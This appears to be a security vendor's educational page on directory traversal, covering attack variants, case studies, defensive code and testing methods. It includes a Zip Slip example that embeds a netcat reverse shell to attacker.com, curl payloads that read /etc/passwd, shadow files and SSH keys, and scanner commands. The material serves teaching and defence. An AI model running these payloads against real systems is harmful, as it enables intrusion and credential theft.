Documentation

Directory Traversal (Path Traversal)

HIGH SEVERITY FILE SYSTEM ATTACK OWASP TOP 10

Overview

Directory Traversal (also called Path Traversal) is when attackers manipulate file paths to access files and directories stored outside the intended folder, allowing them to read sensitive files they shouldn't have access to.

Directory Traversal Illustration

In One Sentence

Tricking a website into showing you files it never meant to share by manipulating file paths with ../ sequences.


Simple Explanation

Real-World Analogy

Imagine you work in a library with a strict rule: "Patrons can only access books from the Public Reading Room." But someone figures out they can request "Public Reading Room / Go back one hall / Go back one hall / Director's Private Office / Secret Documents." The librarian, following instructions literally, retrieves the secret documents!

The Attack in Action

Normal Request
website.com/download?file=report.pdf
Server reads: /var/www/public/report.pdf ✓
Directory Traversal Attack
website.com/download?file=../../../../etc/passwd
Server reads: /etc/passwd (system password file!) ✗

The Vulnerability

How It Works

User uploads photo: vacation.jpg
Stored at: /var/www/uploads/user123/vacation.jpg

Download URL:
https://photosite.com/download?file=vacation.jpg

Server code:
base_path = "/var/www/uploads/user123/"
file = request.GET['file']
full_path = base_path + file
# Result: /var/www/uploads/user123/vacation.jpg ✓
https://photosite.com/download?file=../../../etc/passwd

Server code:
base_path = "/var/www/uploads/user123/"
file = request.GET['file']  # "../../../etc/passwd"
full_path = base_path + file
# Result: /var/www/uploads/user123/../../../etc/passwd
# Simplifies to: /etc/passwd
# Sends password file to attacker! ✗
  • . = Current directory
  • .. = Parent directory (go up one level)
  • ../../../ = Go up three levels
Start:     /var/www/uploads/user123/
Add file:  ../../../etc/passwd
Step 1:    /var/www/uploads/user123/../../../etc/passwd
Step 2:    /var/www/uploads/../../../etc/passwd (went up)
Step 3:    /var/www/../../../etc/passwd (went up)
Step 4:    /var/../../../etc/passwd (went up)
Step 5:    /etc/passwd (final result)

Common Target Files

bash/etc/passwd              # User accounts
/etc/shadow              # Password hashes (if privileged)
/etc/hosts               # Network configuration
/var/log/apache2/access.log  # Web server logs
/var/www/.env            # Environment variables (database passwords!)
/home/user/.ssh/id_rsa   # SSH private keys
~/.bash_history          # Command history
/proc/self/environ       # Process environment variables

Types of Path Traversal

1. Basic Path Traversal

Using ../ sequences to navigate up directory tree

Normal: /download?file=document.pdf
Attack: /download?file=../../../../etc/passwd

Normal: /images?img=photo.jpg
Attack: /images?img=../../../var/www/.env
pythonfrom flask import Flask, request, send_file

@app.route('/download')
def download():
    filename = request.args.get('file')
    # DANGEROUS: No validation!
    return send_file(f'/var/www/uploads/{filename}')

2. Absolute Path Traversal

Using absolute paths instead of relative paths

Attack: /download?file=/etc/passwd
Attack: /download?file=C:\Windows\System32\config\SAM

Server concatenates:
/var/www/uploads/ + /etc/passwd
Result: /etc/passwd (absolute path overrides base path on some systems)

3. URL Encoding Bypass

Encoding ../ to bypass basic filters

textNormal:        ../
URL encoded:   ..%2f
Double encode: ..%252f
Unicode:       ..%c0%af
16-bit Unicode: ..%u002f

Why It Works

Simple filters check for literal ../ string, but the server decodes the URL before using it.

4. Null Byte Injection

Using null bytes (%00) to truncate file extensions

php// Vulnerable PHP code (older versions)
$file = $_GET['file'] . '.pdf';  // Force .pdf extension
// Intended: report.pdf

// Attack:
/download?file=../../../../etc/passwd%00

// Result before null byte processing:
// ../../../../etc/passwd%00.pdf

// After null byte (%00) truncation:
// ../../../../etc/passwd
// (Everything after %00 is ignored)

Note

This works in older PHP versions (< 5.3.4) where null bytes terminate strings.

5. Nested Traversal Sequences

Using nested patterns to bypass filters that remove ../ once

Filter removes "../" once:
Input:  ....//
After:  ../     (Boom! Still works)

Input:  ..././
After:  ../     (Filter removed ../, left ../)

Attack: /download?file=....//....//....//etc/passwd
Original:    ....//
Filter sees: ../  (removes it)
Remaining:   ../  (the outer dots remain!)

6. Backslash Bypass (Windows)

Using backslashes instead of forward slashes

Linux:   ../../../etc/passwd
Windows: ..\..\..\Windows\System32\config\SAM

Mixed:   ..\..\../etc/passwd  (works on some systems)

Real-World Examples

Case Study 1: Zip Slip (2018)

Directory traversal via malicious ZIP file extraction

  • Thousands of projects affected (Maven, Gradle, Jenkins)
  • Remote code execution possible
  • Widespread vulnerability across multiple languages
python# Creating malicious ZIP
import zipfile

with zipfile.ZipFile('malicious.zip', 'w') as zf:
    # File appears to be in archive but extracts elsewhere
    zf.writestr('../../../../tmp/backdoor.sh', '#!/bin/bash\nnc -e /bin/sh attacker.com 4444')

Case Study 2: Microsoft IIS (CVE-2000-0884)

Unicode encoding bypass for path traversal

  • Widespread IIS servers compromised
  • Full system access obtained
  • Used in Code Red and Nimda worms
Normal blocked request:
/scripts/../../../winnt/system32/cmd.exe

Bypassed with Unicode:
/scripts/..%c0%af../..%c0%af../winnt/system32/cmd.exe

%c0%af = Unicode encoding for /
IIS decoded it AFTER security checks!

Case Study 3: Apache Struts (CVE-2018-11776)

Path traversal leading to remote code execution

  • Equifax breach (143 million records)
  • $700+ million in costs
  • CEO resignation
xml<!-- Struts configuration -->
<action name="example" class="com.example.Action">
    <result type="redirect">
        ${redirectUrl}
    </result>
</action>

Case Study 4: Ruby on Rails (CVE-2019-5418)

File content disclosure via Accept header

  • Any file on server readable
  • Affected Rails versions: < 4.2.11, 5.0.0 - 5.0.7, 5.1.0 - 5.1.6, 5.2.0 - 5.2.2
httpGET /users/1 HTTP/1.1
Host: vulnerable-site.com
Accept: ../../../../../etc/passwd{{

Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Prevention & Mitigation

1. Input Validation (Whitelist - Best Practice)

The Golden Rule

Only allow expected, safe values - reject everything else

pythonimport os
from flask import Flask, request, send_file, abort

ALLOWED_FILES = {
    'report': 'monthly_report.pdf',
    'invoice': 'invoice_2024.pdf',
    'manual': 'user_manual.pdf'
}

@app.route('/download')
def download():
    file_id = request.args.get('file')

    # Whitelist validation
    if file_id not in ALLOWED_FILES:
        abort(400, "Invalid file")

    filename = ALLOWED_FILES[file_id]
    return send_file(f'/var/www/uploads/{filename}')

2. Path Normalization and Validation

pythonimport os
from pathlib import Path
from flask import Flask, request, send_file, abort

UPLOAD_DIR = '/var/www/uploads/'

@app.route('/download')
def download():
    filename = request.args.get('file')

    # Construct full path
    requested_path = os.path.join(UPLOAD_DIR, filename)

    # Resolve to absolute path (removes ../ sequences)
    real_path = os.path.realpath(requested_path)

    # Verify it's still within allowed directory
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
        abort(403, "Access denied")

    # Verify file exists
    if not os.path.isfile(real_path):
        abort(404, "File not found")

    return send_file(real_path)
python# Example flow:
UPLOAD_DIR = '/var/www/uploads/'
filename = '../../../etc/passwd'

requested_path = '/var/www/uploads/../../../etc/passwd'
real_path = os.path.realpath(requested_path)  # Resolves to: /etc/passwd

# Check:
'/etc/passwd'.startswith('/var/www/uploads/')  # False!
# Request denied ✓

3. Filename Sanitization

pythonimport re
from flask import Flask, request, send_file, abort

UPLOAD_DIR = '/var/www/uploads/'

def sanitize_filename(filename):
    # Remove path separators and traversal sequences
    filename = filename.replace('/', '').replace('\\', '')
    filename = filename.replace('..', '')

    # Allow only alphanumeric, dash, underscore, dot
    filename = re.sub(r'[^a-zA-Z0-9._-]', '', filename)

    # Prevent hidden files
    if filename.startswith('.'):
        raise ValueError("Invalid filename")

    return filename

@app.route('/download')
def download():
    filename = request.args.get('file')

    try:
        safe_filename = sanitize_filename(filename)
    except ValueError:
        abort(400, "Invalid filename")

    filepath = os.path.join(UPLOAD_DIR, safe_filename)

    if not os.path.isfile(filepath):
        abort(404)

    return send_file(filepath)

4. Use Framework Built-in Functions

pythonfrom django.http import FileResponse
from django.conf import settings
import os

def download_file(request):
    filename = request.GET.get('file')

    # Django's safe_join prevents traversal
    from django.utils._os import safe_join
    filepath = safe_join(settings.MEDIA_ROOT, filename)

    # safe_join returns None if traversal detected
    if filepath is None:
        return HttpResponseBadRequest('Invalid file path')

    return FileResponse(open(filepath, 'rb'))

5. Secure ZIP Extraction

pythonimport zipfile
import os

def safe_extract(zip_path, extract_to):
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.namelist():
            # Construct target path
            target_path = os.path.join(extract_to, member)

            # Normalize and check
            target_path = os.path.realpath(target_path)
            extract_dir = os.path.realpath(extract_to)

            # Verify extraction stays within target directory
            if not target_path.startswith(extract_dir):
                raise Exception(f"Attempted path traversal: {member}")

            # Safe to extract
            zf.extract(member, extract_to)

Testing for Path Traversal

Detection Indicators

?file=../
?path=../../
?template=..%2f..%2f
?page=....//....//
?include=/etc/passwd
?download=C:\Windows\
Error: File not found: /var/www/html/../../etc/shadow
Warning: include(/var/www/../config.php): failed to open stream
# Signs you successfully traversed:
root:x:0:0:root:/root:/bin/bash  # /etc/passwd
[database]
password=SecretP@ss123            # config file
<?php $db_password = "...";       # source code

Manual Testing

bash# Test various depths
curl "http://target.com/download?file=../../../etc/passwd"
curl "http://target.com/download?file=../../../../etc/passwd"
curl "http://target.com/download?file=../../../../../etc/passwd"

# Test Windows paths
curl "http://target.com/download?file=..\..\..\Windows\win.ini"
bash# URL encoding
curl "http://target.com/download?file=..%2f..%2f..%2fetc%2fpasswd"

# Double encoding
curl "http://target.com/download?file=..%252f..%252fetc%252fpasswd"

# Mixed encoding
curl "http://target.com/download?file=..%5c..%5c..%5cetc%5cpasswd"
bash# Nested sequences
curl "http://target.com/download?file=....//....//etc/passwd"

# Absolute paths
curl "http://target.com/download?file=/etc/passwd"

# Null byte (if old PHP)
curl "http://target.com/download?file=../../../etc/passwd%00.jpg"

Automated Testing Tools

DotDotPwn
bash# Comprehensive path traversal scanner
dotdotpwn -m http -h target.com -x 80 -f /etc/passwd -d 5 -t 200

# Options:
# -m: Module (http, ftp, tftp, etc.)
# -h: Target host
# -f: File to find
# -d: Depth (how many ../ to try)
# -t: Threads
ffuf (Fuzzing)
bash# Fuzz for traversal vulnerabilities
ffuf -w /path/to/traversal-payloads.txt \
     -u "http://target.com/download?file=FUZZ" \
     -fc 404 \
     -mc 200
Burp Suite Intruder
Position: /download?file=§PAYLOAD§

Payloads:
../etc/passwd
../../etc/passwd
../../../etc/passwd
..%2f..%2fetc%2fpasswd
....//....//etc/passwd
Nuclei
bash# Run path traversal templates
nuclei -u http://target.com -t /path-to-nuclei-templates/vulnerabilities/generic/

# Specific template
nuclei -u http://target.com -t path-traversal.yaml

Test Payloads

bash../../../etc/passwd
../../../../etc/passwd
../../../../../etc/shadow
../../../../../../var/log/apache2/access.log
../../../home/user/.ssh/id_rsa
/etc/passwd
/etc/shadow

Security Checklist

Development

  • [ ] Never trust user input for file paths
  • [ ] Use whitelists to map user input to predefined file IDs
  • [ ] Normalize paths with realpath/resolve functions
  • [ ] Verify resolved path stays within allowed directory
  • [ ] Strip dangerous characters (../, ..\\, /, \\)
  • [ ] Use framework built-in secure file handling functions
  • [ ] Validate ZIP file paths before extraction

Infrastructure

  • [ ] Apply least privilege for file system access
  • [ ] Use chroot jails or containerization
  • [ ] Implement file access logging
  • [ ] Monitor for suspicious path patterns
  • [ ] Disable directory listing
  • [ ] Run application with minimal permissions

Testing

  • [ ] Test with basic ../ sequences at various depths
  • [ ] Try absolute paths
  • [ ] Test URL encoding variations
  • [ ] Attempt nested sequences
  • [ ] Test null byte injection (for older systems)
  • [ ] Try both forward slashes and backslashes
  • [ ] Check for file extension enforcement bypasses
  • [ ] Monitor responses for error messages
  • [ ] Test in all parameters accepting file paths

Key Takeaways

Primary Defenses

  1. Use whitelists - Map user input to predefined safe file IDs
  2. Normalize paths - Use realpath/resolve and verify within allowed directory
  3. Never trust user input - Always validate and sanitize
  4. Use framework functions - Leverage built-in secure file handling

Critical Points

  • Path traversal can expose sensitive system files and credentials
  • Encoding bypasses are common - validate after decoding
  • ZIP extraction requires special handling to prevent Zip Slip
  • Always verify resolved paths stay within allowed directories

Best Practices

  • Prefer ID-based file access over filename-based
  • Apply defense in depth with multiple validation layers
  • Monitor file access patterns for anomalies
  • Keep frameworks and dependencies updated
  • Regular security testing and code review

References & Resources

Official Documentation

Testing Tools

Learning Resources


Layerd AI Protection

Layerd AI Cloud WAF protects against directory traversal:

  • Path validation - Automatic detection of traversal sequences
  • Pattern recognition - ML identifies encoded bypass attempts
  • Real-time blocking - Prevents access to sensitive files
  • Zero false positives - Smart detection of legitimate paths

Learn more about Layerd AI Protection →


Remember: Directory Traversal attacks exploit weak path validation. Always use whitelists for file access, normalize paths, and verify resolved paths stay within allowed directories.

Map user input to file IDs instead of using filenames directly!


Last updated: November 2025